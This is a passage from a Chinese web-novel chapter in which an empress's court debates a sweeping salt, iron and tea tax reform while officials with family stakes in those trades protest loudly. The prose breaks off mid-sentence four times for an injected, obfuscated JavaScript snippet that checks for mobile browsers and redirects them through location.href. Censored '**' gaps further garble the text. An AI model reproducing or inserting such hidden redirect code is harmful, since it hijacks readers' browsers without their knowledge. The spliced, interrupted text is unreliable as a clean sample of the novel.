内阁值房与户部衙署的灯火,彻夜不息,映照着窗纸上那些匆忙来去、面色凝重的人影。以周文康为首的一干核心官员,连同被紧急召入的内阁大学士、工部、刑部、都察院的主事者们,如同被鞭子抽打的陀螺,在堆积如山的卷宗、账册、舆图间疯狂旋转。空气里弥漫着浓烈的墨臭、汗味、以及提神汤药苦涩的气息。激烈的争论时常爆发,拍案声、斥责声、疲惫的叹息声不绝于耳。每个人都清楚,三日后的大朝会,绝非寻常议事,而是一场决定国运、也决定他们个人身家性命的生死博弈。女帝要的不是空泛的方案,而是能立竿见影、填补国库窟窿的“猛药”。这药方如何配伍,剂量如何拿捏,服下后可能引发怎样的剧烈反噬,每一步都需反复推演,慎之又慎,仿佛在万丈深渊上走钢丝。 与此同时,影卫与监察司这两架庞大而隐秘的国家机器,也以前所未有的效率与冷酷,高速运转起来。无数道加密的指令从萧御手中签发,如同蛛网般悄无声息地撒向京城的各个角落,撒向扬州、山西、广州、福建等地的秘密据点。官员府邸外多了些卖早点的、收夜香的“生面孔”;盐商巨贾时常宴饮的秦楼楚馆附近,出现了新的“豪客”或“落魄文人”;通往各地的官道上,看似寻常的信使或商队,传递着唯有特定之人才能解读的密语。一份份关于官员隐秘资产、商业往来、姻亲故旧、乃至不可告人癖好的密报,如同百川归海,昼夜不息地涌向萧御的书案,被迅速分拣、核对、归档。那些平日里道貌岸然、在朝堂上高谈阔论“体恤商艰”、“不可与民争利”的衮衮诸公,恐怕从未想过,自己那些隐藏在华服美宅之下的龌龊与贪婪,正被一双冰冷彻骨的眼睛,一丝不苟地记录在册,成为可能悬在他们脖颈上的绞索。 而处于风暴最中心的乾元宫御书房,这三日却呈现出一种异乎寻常的、令人心悸的“宁静”。谢凤卿没有再大规模召见臣工议事,大部分时间都独自埋首于堆积如山的、散发着陈年霉味的盐铁茶旧账与盐引茶引发售记录之中。她屏退了大部分侍从,只留最信任的流云在旁伺候笔墨与茶水。流云发现,陛下翻阅那些枯燥数字时的眼神,专注得可怕,时而凝眸细察,朱笔勾画;时而盯着某一页上某个异常的数字或某个熟悉的名字,沉默良久,唇角抿成一条毫无弧度的直线,周身散发出的低气压,让流云连呼吸都不由自主地放至最轻,脚步放至最缓,生怕一丝多余的声响,便会打破这濒临爆裂的平静。 偶尔,萧御会带着整理好的最新密报悄然而入。两人便在御书房紧闭的门扉后,对着舆图与名单,低声商议许久。出来时,萧御的神色往往更加冷峻锐利,如同出鞘的寒刃;而谢凤卿眉宇间那压抑的戾气与焦灼,则似乎被锤炼得更加内敛深沉,如同冰封的火山之下,岩浆正在沸腾,只待一个喷薄的裂口。 紫禁城的上空,春光明媚,风和日丽,但在所有知情者眼中,却已是黑云压城,山雨欲来。每个人都感受到了那股令人窒息的无形重压,尤其是那些心中有鬼、与盐铁茶利益牵扯过深的官员勋贵,更是如坐针毡,食不知味,夜不能寐。他们私下串联,密会,打探消息,试图揣摩圣意,或谋划应对之策,空气中弥漫着一种暴风雨前诡异的宁静与难以言喻的恐慌。 终于,三日之期已至。 凤翔元年,三月十八,大朝会。 寅时刚过(凌晨三点多),京城尚沉浸在深蓝色的静谧梦乡之中,唯有东方天际透出一线极淡的、近乎于无的鱼肚白。然而,通往皇城的各条主要街道上,已是车马粼粼,灯火幢幢。一辆辆装饰着不同品级标识的马车,在护卫家丁的簇拥下,沉默而迅疾地碾过青石板路,驶向巍峨的承天门。车中的官员们,无论品级高低,此刻大多面色凝重,睡意全无。他们或正襟危坐,闭目养神,实则心绪翻腾如沸水;或悄悄掀开车帘一角,窥视着同样沉默行进的同僚车队,试图从对方的车驾规格、护卫多寡、乃至车夫的神色中,揣测出些许端倪。空气中弥漫着一种近乎凝固的紧张与压抑,连拉车的骏马似乎都感受到了这不寻常的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271210|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛,不时打着沉重的响鼻,清脆的蹄声在空旷的黎明街道上回荡,显得格外清晰,也格外惊心。 今日这场大朝会,自新帝登基以来,便笼罩着不同寻常的阴云。女帝欲对盐铁茶等命脉行业动刀的消息,早已不胫而走,陈廷敬等反对派官员的暗中串联与各地隐隐传来的风声,无不预示着这将是一场决定许多人命运走向的硬仗。金銮殿前那汉白玉铺就的广阔广场,此刻在渐亮的天光下,仿佛一片巨大的、沉默的角斗场。 辰时初(早上七点),天色微明,文武百官已在广场上按文东武西、品级高低肃立完毕。春日清晨的风,依旧带着料峭寒意,吹得人官袍下摆猎猎作响,也吹得许多人心底冰凉。他们垂手低头,目光紧紧盯着自己靴尖前光洁如镜的金砖地面,不敢随意交头接耳,只用眼角的余光,紧张地互相打量着。许多人的官袍内衬,早已被不知不觉渗出的冷汗浸湿,紧贴着肌肤,带来一阵阵黏腻的冰凉。 “陛下驾到——!” 司礼监总管太监高无庸那高亢尖锐、穿透力极强的唱喏声,骤然划破了广场上死一般的寂静,也狠狠刺入了每个人的耳膜。 所有人的心猛地一紧,如同被无形的手攥住,下意识地将本就僵直的脊背挺得更直,几乎到了酸疼的地步。 沉重的、朱红色的金銮殿正门,在令人牙酸的“嘎吱”声中,被缓缓推开。 谢凤卿的身影,出现在九级御阶的尽头,丹陛之上,殿门之内。 今日,她身着极为庄重正式的玄色十二章纹帝王衮服。这身礼服不同于登基大典时那套更加繁复华丽、近乎神性的祭服,也不同于平日处理政务时所穿的常服。玄衣纁裳,以最上等的云锦织就,上衣以五彩丝线绣日、月、星辰、山、龙、华虫六章,下裳绣宗彝、藻、火、粉米、黼、黻六章,纹样古奥庄严,在晨曦初露的微光中,流转着深沉内敛、却无比威严的乌金光泽。头戴十二旒白玉珠冕冠,冕板前圆后方,象征天圆地方;以白玉珠串成的旒轻轻晃动,半遮半掩着她清丽绝伦却冰冷如霜雪雕琢的面容,只露出一双寒星般的眸子。那目光穿透微微晃动的珠旒,平静地、淡漠地扫视着下方黑压压、如同潮水般匍匐的百官,无喜无悲,无波无澜,却带着一种令人灵魂都为之战栗的、沉重的、近乎神祇俯瞰蝼蚁般的威压。 她一步步,从容不迫地走下高高的御阶。玄色衮服那宽大厚重的下摆,拂过雕刻着蟠龙祥云与海浪江崖纹样的汉白玉台阶,发出极轻微、却富有某种奇异韵律的沙沙声。那声音在极度寂静、落针可闻的广场上,被放大得清晰无比,仿佛不是踏在石阶上,而是踏在在场每一个人的心脏上,带着定鼎乾坤、无可违逆的沉重力量感。 第222章连根拔起 终于,她踏上丹墀,在那象征着至高无上皇权的鎏金蟠龙宝座前缓缓转身,面向广场上肃立的百官,然后,稳稳坐下。姿态端庄,背脊挺直如松,仿佛天生就该坐在这孤绝的巅峰。 “众卿平身。”她的声音透过微微摇曳的珠旒传来,并不如何高亢,却异常清晰、平稳,带着玉石相击般的质感与奇异的穿透力,清晰地传入广场上每一位官员的耳中,也砸在他们的心上。 “谢陛下!”百官齐声应道,声音在空旷的广场上回荡,带着显而易见的紧绷与一丝不易察觉的颤抖。许多人起身时,腿脚都有些发软。 “今日大朝会,朕,只议一事。”谢凤卿没有任何寒暄铺垫,甚至省略了“有事启奏,无事退朝”的例行开场,开门见山,直指核心,声音冷冽如高山融雪汇聚的冰泉,清越而带着寒意,“盐、铁、茶、酒、矾、香料等项税制之改革。户部,朕让你们拟定的章程,何在?” 没有迂回,没有试探,没有任何缓冲余地。这赤裸裸的、直奔最敏感主题的方式,让许多原本还抱着一丝侥幸、准备用长篇大论铺垫、诉苦、或试图转移话题的官员,心中最后一点幻想如同泡沫般破灭,瞬间沉入冰窟。女帝的态度,已然昭然若揭——这不是商议,是通知;不是讨论,是裁决的前奏。 户部尚书周文康深深吸了一口气,仿佛要将胸膛中所有的忐忑、恐惧、以及连日来积压的疲惫与压力都挤压出去。他手持玉笏,出列向前,步伐因为连日的煎熬而略显虚浮,但每一步都踏得异常坚定。他瘦削了许多,眼窝深陷,布满血丝,但眼神却亮得惊人,带着一种豁出一切、近乎悲壮的决绝。他知道,今日之后,他要么成为新政的功臣,名垂青史;要么,便是第一批被旧势力疯狂反扑、撕成碎片的祭品。但,开弓没有回头箭。 “臣,户部尚书周文康,启奏陛下。”周文康的声音因嘶喊争论和巨大的精神压力而异常沙哑干涩,但他努力挺直了因疲惫而微驼的脊背,让自己站得更稳,声音也竭力拔高,力求让广场上的每一个人,尤其是后排的官员,都能听清他接下来的每一个字,“经户部与工部、刑部、都察院、内阁诸位大人,连日核查历年卷宗、核算天下钱粮数据、反复推演利弊得失,臣等深知,盐、铁、茶、酒、矾、香料等项,实为我朝税收之支柱,国用之所系,百姓生计之所倚。然,自前朝中叶以降,管理日渐废弛,漏洞百出,**结,贪墨横行,私盐私铁充斥市面,国家明定之税,十之七八未能入库,巨额利润尽归私囊,实乃动摇国本之巨大毒瘤,侵蚀社稷之第一祸患!长此以往,国将不国!” 他顿了顿,目光扫过前排几位面色已然阴沉如水、眼神闪烁的官员,继续朗声道,语速加快,带着一种破釜沉舟、不留后路的气势:“为扭转国库空虚之危局,保障新政得以顺利推行,强兵富民,稳固社稷,臣等冒天下之大不韪,殚精竭虑,夜以继日,拟定《新税制改革章程》草案,恭请陛下圣裁,亦请诸位同僚共议!” 说罢,他展开那份被手心汗水微微浸湿、承载着无数人心血、焦虑与命运的厚厚奏章,开始高声宣读。章程内容极尽详实,条分缕析,核心改革措施,条条如出鞘利刃,寒光闪闪,直指旧有利益格局最核心、最顽固的堡垒: 一、盐政改革:彻底废除弊端丛生、易于舞弊、已成贪腐温床的“盐引”制度,全面推行“官督商办,分区专卖,统一定价,源头课税,重典治私”。将全国主要产盐区重新划定为若干“盐区”,每区由朝廷公开招标,择取数家资本雄厚、信誉良好、愿服从朝廷严格监管的大商号为“总商”,授予其该区食盐收购、运输、销售之专营权。但“总商”绝非独立王国:食盐收购价、批发价、零售价均由朝廷根据成本、合理利润及税收需要统一核定,严禁私自抬价或降价倾销;盐税在食盐离开盐场或进入总商指定官仓时,即按统一税率一次性征缴,革除中间层层盘剥、中饱私囊之环节。同时,建立直属户部与都察院的、独立的“巡盐御史”体系,并扩充训练精锐“盐丁”武装,配备精良,权力极大,对走私食盐者,无论数量多寡,一律严惩,涉案官吏与商人同罪,并鼓励民间告发,重奖举报者。 二、铁政改革:鉴于铁器直接关乎军械制造、边防安全与民生基础,采取“核心官营,其余特许,高税严管,以绝私铸”之策。所有大型优质铁矿、主要炼铁工场、军械制造作坊,一律由朝廷直属的工部“军器局”及地方“铁冶所”直接经营管理,其产品优先供应军队及官府大型工程,余量方可按官定价格出售。民间中小型铁矿、炼铁炉、铁器作坊,必须向工部在地方的分支机构重新申请“冶铁特许状”,并缴纳高额的“矿产税”(按实际开采量)及“产品税”(按销售额)。获得特许的民间铁商,其生产种类、规模、产品质量、销售流向(尤其是可用于制造兵器的铁料)必须严格按月、按季向官府报备,接受工部与监察司的定期与不定期突击检查。严禁任何形式的私自开矿、冶炼、及铸造兵器、甲胄、大型军用器械等违禁铁器,违者以谋逆论处,主犯凌迟,家产尽没,亲属流放。 三、茶政改革:参照盐政,推行“茶引改革,统购统销与特许商销结合,分区管理,茶马为重”。在主要产茶区设立或加强“茶马司”权力,负责优质茶叶的统一收购、质量检验、官仓储存。茶叶销售分两条腿走路:一部分上等茶叶,由“茶马司”直接经营,用于与西北、西南少数民族的“茶马互市”,换取战马等战略物资,并控制高端茶叶市场,获取最大利润;另一部分中下等茶叶,通过大幅提高“茶引”价格、严格审核商人资质与背景的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278413|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式,招标由获得“茶引”的商人销售,但“茶引”严格划定销售区域,严禁跨区倾销,扰乱市场,违者重罚。同时,大力整顿边境茶马互市,严厉打击走私茶叶出境,凡抓获走私茶商,货物充公,主犯斩首。 四、酒、矾、香料等其他高利润行业改革:实行“高额特许经营税”与“重流通税”并举,严格准入。凡欲从事酿酒、矾矿开采及矾制品销售、进口香料珠宝珍玩等行业的商人,必须向户部或地方布政使司购买价格极为昂贵的“特许经营牌”,并每年缴纳高额的特许经营费。同时,对这些商品的生产、流通环节课以重税。朝廷加强对这些行业生产过程的监督(如酿酒度数以防私酿烈酒、矾矿安全以防塌方、进口商品检验检疫以防瘟疫及劣货),并建立专门稽查队伍,配备懂行老吏,严厉打击走私偷漏。 五、配套税制简化与税基扩大:借此全面税改之机,合并、取消大量名目繁杂、滋生**、盘剥百姓的地方“杂捐”、“陋规”、“火耗”、“平余”等。但同时,适度提高全国统一的田赋、商税等主要税种的基准税率。最关键、也最触动利益的一步,是强制要求各地官府,必须在限期内,将之前大量被权贵、官绅、寺庙、道观以各种手段隐匿、或利用特权免税、**的田产、商铺、山林、湖泽、矿窑等,全部重新清丈登记,核实产权,纳入国家征税范围,扩大税基,从根源上实现税收的相对公平,减轻真正小民负担。 周文康一条一条,清晰而有力地宣读着。每念出一条,广场上的空气就仿佛被抽走一分,温度就骤降一度,寂静就更深一层。许多官员,尤其是那些出身盐商、茶商、铁商巨贾家族,或在这些行业拥有干股、门铺、暗中参与经营、或接受“孝敬”的官员,脸色越来越难看,如同开了染坊,从最初的凝重,到惊愕,到愤怒,再到难以掩饰的惨白与深入骨髓的恐惧。身体不受控制地微微颤抖起来,冷汗如同泉涌,顺着额角、鬓边、脊背涔涔而下,瞬间湿透了厚重的朝服内衬,在清晨的寒意中,带来刺骨的冰凉。 这哪里是改革?这分明是掘坟!是抄家灭族!是要将他们世代经营、盘根错节、赖以生存的特权与财富网络,连根拔起,彻底碾为齑粉!那“统一定价”、“源头课税”、“核心官营”、“高额特许”、“重税严管”、“扩大税基”……每一个词,都像一把烧红的烙铁,狠狠地烫在他们的命门上,也像一柄柄冰冷的铡刀,悬在了他们家族的头顶!这意味着,他们再也不能利用信息不对称、利用官场关系、利用制度漏洞,轻松攫取惊人的暴利;意味着他们积累的泼天富贵,将被迫吐出大半,甚至可能因为过往的“不法”而彻底被抄没;意味着他们家族在地方上的显赫地位、在朝中的影响力,将随着财源的枯竭而急剧衰落,甚至可能就此败落! 第223章天下汹汹,祖宗基业危矣 “以上新税制,若能排除万难,于全国顺利推行,”周文康念到最后,声音因激动、一种近乎虚脱的亢奋,以及连日嘶喊而颤抖得更加厉害,但他依旧用尽气力,提高音量,让每一个字都如同重锤,狠狠砸在众人心头,“经臣等与精通数算之吏反复推演测算,仅盐、铁、茶三项,岁入便可从去岁实收的不足四百万两,激增至一千五百万两以上!若再计入酒、矾、香料等其他项改革增收,以及清丈田亩、整顿商税、扩大税基等其他开源之策全面见效,国库岁入总额,翻三倍,达到三千五百万两至四千万两之间,绝非痴人说梦!届时,不仅当前巨额财政缺口可一举填平,朝廷更将有充裕银粮,大修天下水利以防洪涝,巩固**边防以御外侮,广设常平仓以赈灾荒,推广官学教化以开民智,推行种种利民新政以苏民困!此乃强国富民之基,盛世再现之望!陛下,此章程虽险,阻力虽巨,然利在千秋,功在社稷,臣等,冒死呈上,伏乞圣裁!” “三千五百万两……翻三倍……” “这……这简直是天方夜谭!” “与民争利,竭泽而渔,国将大乱!” 周文康话音落下,广场上死寂了足足数息,仿佛时间都被冻结。随即,低低的、难以置信的惊呼声、倒抽冷气声、压抑的、充满恐慌的议论声,如同地底涌出的暗流,从各个角落汩汩冒出,迅速汇聚成一片嗡嗡的、令人心烦意乱的嘈杂。许多人被这个天文数字般的预期震撼得头晕目眩,呼吸急促,但更多的,是“砰——!” 一声沉闷而响亮的巨响,如同旱地惊雷,骤然炸开,瞬间压过了广场上所有的嘈杂议论! 只见都察院左副都御史,出身扬州盐商巨贾世家、家族掌控两淮盐业近三成份额、门生故旧遍布江南的陈廷敬,再也按捺不住胸中翻腾的滔**火与深入骨髓的恐惧,猛地从文官队列中冲了出来!因为极度的愤怒和惊惶,他年过五旬、平日保养得宜、面色红润的老脸,此刻涨得如同猪肝,额上青筋暴起,花白的胡须因激动而剧烈颤抖着,如同风中的枯草。他伸出的手指如同干枯的树枝,带着颤意,直直地指向还站在丹墀下、手持那份仿佛重若千钧奏章的周文康,嘶声喊道,声音因极致的情绪而劈裂变形,尖利刺耳: “陛下!陛下明鉴!周文康此奏,纯属一派胡言,耸人听闻,蛊惑圣听,欺君罔上!此等章程,绝非治国安邦之良策,实乃祸国殃民、动摇国本、自毁长城之毒策!断不可行!万万不可行啊陛下!老臣泣血以谏,陛下若行此策,东南必乱,天下汹汹,祖宗基业危矣!” 陈廷敬这一声吼,仿佛点燃了早已堆满干柴的**桶! “陛下!臣附议陈大人!”礼部右侍郎,其家族在福建武夷山拥有漫山茶园、操控闽茶大半出口的刘文正,立刻紧跟着出列,声音又急又尖,如同被掐住脖子的公鸡,“盐铁茶酒,乃百姓日常炊爨、耕作、生计所系,自古以来,皆由民间商人经营贩运,朝廷只需定好规矩,居中收税,稽察不法即可。此乃顺应天理人情,亦合太祖‘藏富于民’之训!若强行收回官营,或课以如此前所未有之重税,必然导致经营成本剧增,商人无利可图,要么关门歇业,引发市面萧条,百业凋敝;要么被迫将税赋层层转嫁于民,致使盐价、铁价、茶价、酒价飞涨!届时,升斗小民将何以度日?耕者无好铁制犁,织者无盐调食,此非陛下登基时所倡之‘仁政爱民’,实乃竭泽而渔之**!必使民怨沸腾,天下汹汹,恐生陈胜吴广之变!陛下,切不可听信周文康等急功近利、不谙实务之徒的祸国之言啊!” “陛下,三思而后行啊!”工部虞衡清吏司郎中,与山西多位大铁商有姻亲关系、自身也暗中参与铁矿经营的赵德坤,也急步出列,他试图表现得更加“理性”、“务实”,语气急促地分析道,“盐商、茶商、铁商,经营数代,关系盘根错节,其所雇佣之工匠、脚夫、船家、伙计,乃至依附其生存的贩夫走卒,数以十万、百万计!贸然改制,使其血本无归,顷刻破产,不仅这些商人要家破人亡,底下依靠其生计的无数百姓亦将瞬间流离失所,衣食无着!此乃动摇地方根基,极易激起民变、商乱,乃至激起兵变!陛下登基不久,根基未稳,当以稳定朝局、安抚地方为上,岂可行此急功近利、拔苗助长之激进之举?且周尚书所言岁入翻倍乃至翻数倍,纯属书生臆测,纸上谈兵!提高税率,商人为求生存,必千方百计**、走私、以次充好,届时官盐官铁更无人问津,私盐私铁必将泛滥成灾,朝廷非但收不到税,反而要耗费巨资,增设无数巡丁税吏去缉私,百姓却要用更高的价钱、去买劣质的私盐私铁,此乃官民两伤,徒耗国帑,于国于民,有百害而无一利啊陛下!” “陛下,臣以为赵郎中所言,方是老成谋国之见!”户部云南清吏司一位员外郎(周文康的下属,但显然是某些势力安插的棋子)也站出来,一副忧心忡忡、就事论事的样子,“改革税制,牵一发而动全身,需通盘考虑,循序渐进,方是稳妥之道。譬如盐政,现行盐引制虽有弊端,然运行百余年,各方利益已成平衡,自有其内在道理与惯力。不如先严查盐课衙门官吏贪墨,追缴历年积欠,同时小幅渐进提高盐引价格,或可在不影响大局稳定之下,略增税收,缓释国库之急。若如周尚书所言,骤然推行如此激进之新法,恐天下盐商顷刻破产,朝廷从何处再找如此多熟悉盐务、资本雄厚、且愿意接手之商人?若接手者无能,或心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284446|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀叵测,导致盐产不继,供应短缺,激起民变,又当如何?此非改革,实为取乱之道,恐非国家之福!” “陛下!陛下!”一位须发皆白、身形佝偻、曾担任过先帝经筵讲官、德高望重的老翰林,在门生的搀扶下,颤巍巍地出列,未语先泣,以头抢地,撞得金砖地面砰砰作响,老泪纵横,嘶声哭喊道,“祖宗成法,不可轻变!不可轻变啊!盐铁茶政,乃太祖太宗所定,历经十余朝损益修补,方成今日定制。虽有瑕疵,然大体无亏,足以养民足国。今上登基未久,正宜萧规曹随,休养生息,布德泽于天下,岂可因一时财用不足,便行此改弦更张、动摇国本之举?此非圣主明君治国之道,实乃取祸速亡之道啊!老臣受两朝厚恩,今日拼却这身朽骨,也要谏阻陛下!恳请陛下,收回成命,广纳忠言,徐图改良,方为社稷之福,苍生之幸,亦是陛下英明永固之基啊!陛下——!” 反对之声,一浪高过一浪,如同积蓄已久的海啸,终于找到了宣泄的裂口,疯狂地扑向丹墀,扑向御座,试图用声浪、用人数、用看似“忠贞不贰”的姿态、用“天下大乱”的恐怖预言,将那份刚刚宣读的章程彻底淹没、击碎。理由五花八门,从“与民争利”、“引发民变商乱”、“得不偿失”、“祖宗成法不可违”,到“动摇国本”、“取祸之道”,看似冠冕堂皇,忧国忧民,实则核心只有一个:这柄改革之刀,即将斩断他们乃至其背后庞大利益集团赖以生存的命脉,必须拼死反对,寸步不让! 金銮殿前,这象征着帝国最高权力与秩序的庄严之地,此刻竟如同喧嚣鼎沸的市井菜场,争吵怒骂之声不绝于耳,许多官员情绪激动,面红耳赤,唾沫横飞,仿佛周文康手中捧着的不是税改方案,而是毁灭他们世代富贵与权势的末日宣告。一些原本中立或心下隐隐觉得新政有其道理、但不敢明言的官员,也被这汹涌的、仿佛代表了“**”与“正道”的反对声浪所慑,噤若寒蝉,低头不语,心中惶惑。而少数坚定支持新政的官员,如新任的几位阁臣、部分锐意进取的御史和年轻官员,想要出言驳斥,捍卫陛下的决策,声音却被更大的、更嘈杂的声浪所彻底淹没,急得额头冒汗,却又无可奈何。 周文康孤身一人站在丹墀之下,面对着这如同潮水般涌来的指责、攻讦、甚至恶毒的诅咒,面色苍白如纸,身形因连日的疲惫和此刻巨大的压力而微微摇晃,仿佛随时都会倒下。但他死死咬着牙,口腔里甚至弥漫开淡淡的铁锈味,那是牙龈因过度用力而渗出的血。他攥紧了手中那份浸透了同僚心血与期望的奏章,指节捏得发白,倔强地昂着头,与那些或愤怒、或嘲讽、或充满威胁的目光对视,口中发出嘶哑却不肯低头的反驳: 第224章你陈家的祖产是如何得来的 “陈大人!刘大人!赵大人!与民争利?利在何处?在你们陈家堆金积玉、堪比皇宫的库房里?在你们刘家漫山遍野、强占而来的茶山上?在你们赵家那从未报备、偷采盗挖的矿山里?还是在国库,在太仓,在天下无数嗷嗷待哺的灾民口中,在边关缺饷少械的将士身上?!物价飞涨?统一定价,严查走私,正是为了平抑盐价铁价,防止奸商囤积居奇,肆意盘剥百姓!你们口口声声百姓,可曾亲眼见过扬州盐价高企,贫者淡食,乃至淡食亦不可得?可曾见过山西铁器质劣价高,农户无力更换锈蚀犁头,只能以木石耕地?可曾见过福建茶农被你们压价盘剥,一年辛苦所得,不抵温饱?!引发民变?那些被你们煽动、蛊惑、甚至花钱雇佣的所谓‘民变’、‘骚乱’,究竟是真的走投无路的百姓,还是你们拳养的家丁、豪奴、打手,甚或是地方上的泼皮无赖?!至于得不偿失,祖宗成法……更是无稽之谈,迂腐之见!若祖宗成法完美无缺,足以应万世,国库何至于空虚至此?边关何至于烽烟不断,戎狄屡犯?百姓何至于流离失所,卖儿鬻女?变革,正是为了继承祖宗励精图治、强国富民之志,而非墨守成规,坐视江山倾颓,社稷崩坏!尔等扪心自问,反对新政,究竟是为国,还是为私?!” “周文康!你休要血口喷人,污蔑忠良!” “你为讨好陛下,罔顾事实,其心可诛!” “陛下!陛下明鉴!周文康巧言令色,蒙蔽圣听,此人断不可用!” 争吵越来越激烈,越来越失控,双方唇枪舌剑,互不相让,言辞愈发尖锐刻毒,场面几乎陷入彻底的混乱。一些年轻气盛、出身利益集团的官员,甚至开始向周文康及少数支持者逼近,推推搡搡,眼看就要从文斗升级为武斗,在这庄严的朝会之上演全武行。负责维持朝会秩序的御史和侍立两侧的锦衣卫力士,面色紧张无比,手按刀柄,目光不断看向御座,又看向混乱的官员,不知是否该上前强行制止,但又恐引发更大的冲突。 就在这喧嚣、混乱、尊严荡然无存、仿佛下一刻就要彻底崩坏的顶点—— “肃静。” 一个冰冷、清越、并不如何高亢,却仿佛带着某种奇异魔力、能够穿透所有嘈杂、直抵每个人灵魂深处的两个字,从高高的御座上,透过微微晃动的十二旒白玉珠,清晰地传了下来。 如同极北之地万古不化的寒风,骤然席卷过沸腾翻滚的岩浆表面,瞬间将所有喧嚣与躁动冻结;又如同无形的巨手,骤然扼住了在场每一个人的喉咙,将所有已到嘴边的争吵怒骂,硬生生地堵了回去。 金銮殿前,瞬间陷入了一片死寂。 比之前任何一次寂静都要更深、更沉、更令人窒息的死寂。所有的争吵、怒骂、辩解、哭诉,戛然而止。所有人的动作都凝固了,那些推搡的手臂僵在半空,那些愤怒张开的嘴巴忘了合拢,那些激动挥舞的玉笏停滞不动。所有的目光,都带着惊悸、茫然、与难以言喻的、深入骨髓的恐惧,投向了那九旒冕冠之后、珠玉摇曳掩映下的御座之上。 谢凤卿缓缓地、极其缓慢地,从那张宽大、冰冷、象征着至高无上权力的鎏金蟠龙宝座上,站了起来。 玄色十二章纹衮服随着她的动作如水般垂落,上面的日月星辰、山川龙**、华虫藻火等纹样,在越来越明亮灿烂的朝阳金光映照下,仿佛真正活了过来,流转着令人无法直视的、威严而冰冷的璀璨光华,仿佛有神祇的气息降临。十二旒白玉珠串轻轻晃动,碰撞发出细碎而清越的声响,这原本柔和的声响,在此刻死寂的广场上,却如同死神的脚步,敲在每个人的心上。珠旒的晃动,丝毫无法柔和她周身散发出的、如同实质般的凛冽寒气与磅礴帝威,反而更添一种神秘莫测、高不可攀的压迫感。 她没有立刻去看那些争吵的官员,甚至没有去看瘫软在地、老泪纵横的陈廷敬。她的目光平静地、甚至带着一丝奇异的淡漠与审视,缓缓扫过全场,如同神灵在俯瞰自己疆域内躁动的蝼蚁。那目光所及之处,空气都仿佛凝结成冰。最后,她的目光,落在了最先跳出来、此刻还因激动和后怕而胸膛剧烈起伏、面色赤红未褪、却又因这骤然死寂而显得茫然而惊恐的陈廷敬身上。 “陈爱卿,”她的声音透过晃动的珠旒传来,很平静,甚至没有一丝怒意,只是平静地、带着一丝几乎难以察觉的、冰冷的探究,问道,“你方才说,此乃‘祸国殃民、动摇国本、自毁长城之毒策’?还说,朕若行之,‘东南必乱,天下汹汹,祖宗基业危矣’?” 陈廷敬被那穿透珠旒、冰冷刺骨、仿佛能洞悉一切灵魂污秽的目光一刺,激灵灵打了个寒颤,仿佛一盆掺着冰碴的冷水从头浇到脚,方才沸腾的怒火与“忠臣死谏”的悲壮感瞬间被浇熄大半,只剩下透骨的寒意与一种不祥的预感。但事已至此,众目睽睽,他已是骑虎难下,无数双眼睛(包括他背后那些人的眼睛)在看着他,他不能退,半步也不能退。他只能硬着头皮,将戏演到底,赌陛下不敢、也不能真的将在场这么多“忠臣”如何。他扑通一声,再次重重跪倒在地,以额触地,撞得咚咚响,声音带着哭腔,却依旧坚持道,只是那坚持里,已带上了不易察觉的颤抖:“是……是,陛下,老臣……老臣愚钝,然一片赤诚,天日可表!皆为社稷安危,为黎民福祉,为陛下江山永固啊!此策若行,必致天下板荡,江山不稳,老臣……老臣实不忍见陛下为周文康等奸佞宵小所误,不忍见祖宗两百余年基业,毁于一旦!老臣今日,纵然触怒天颜,血溅丹墀,亦要死谏!恳请陛下明察秋毫,收回成命!” “为国为民?为社稷为黎民?为朕的江山永固?”谢凤卿轻轻重复着他的话,忽地,极轻地、几乎无声地笑了一下。那笑意没有到达眼底,反而让她的眼神更加冰冷锐利,如同万载玄冰雕琢而成的利刃,闪烁着森寒的光。“好一个为国为民,好一片赤胆忠心,好一个‘血溅丹墀’的死谏之臣。朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 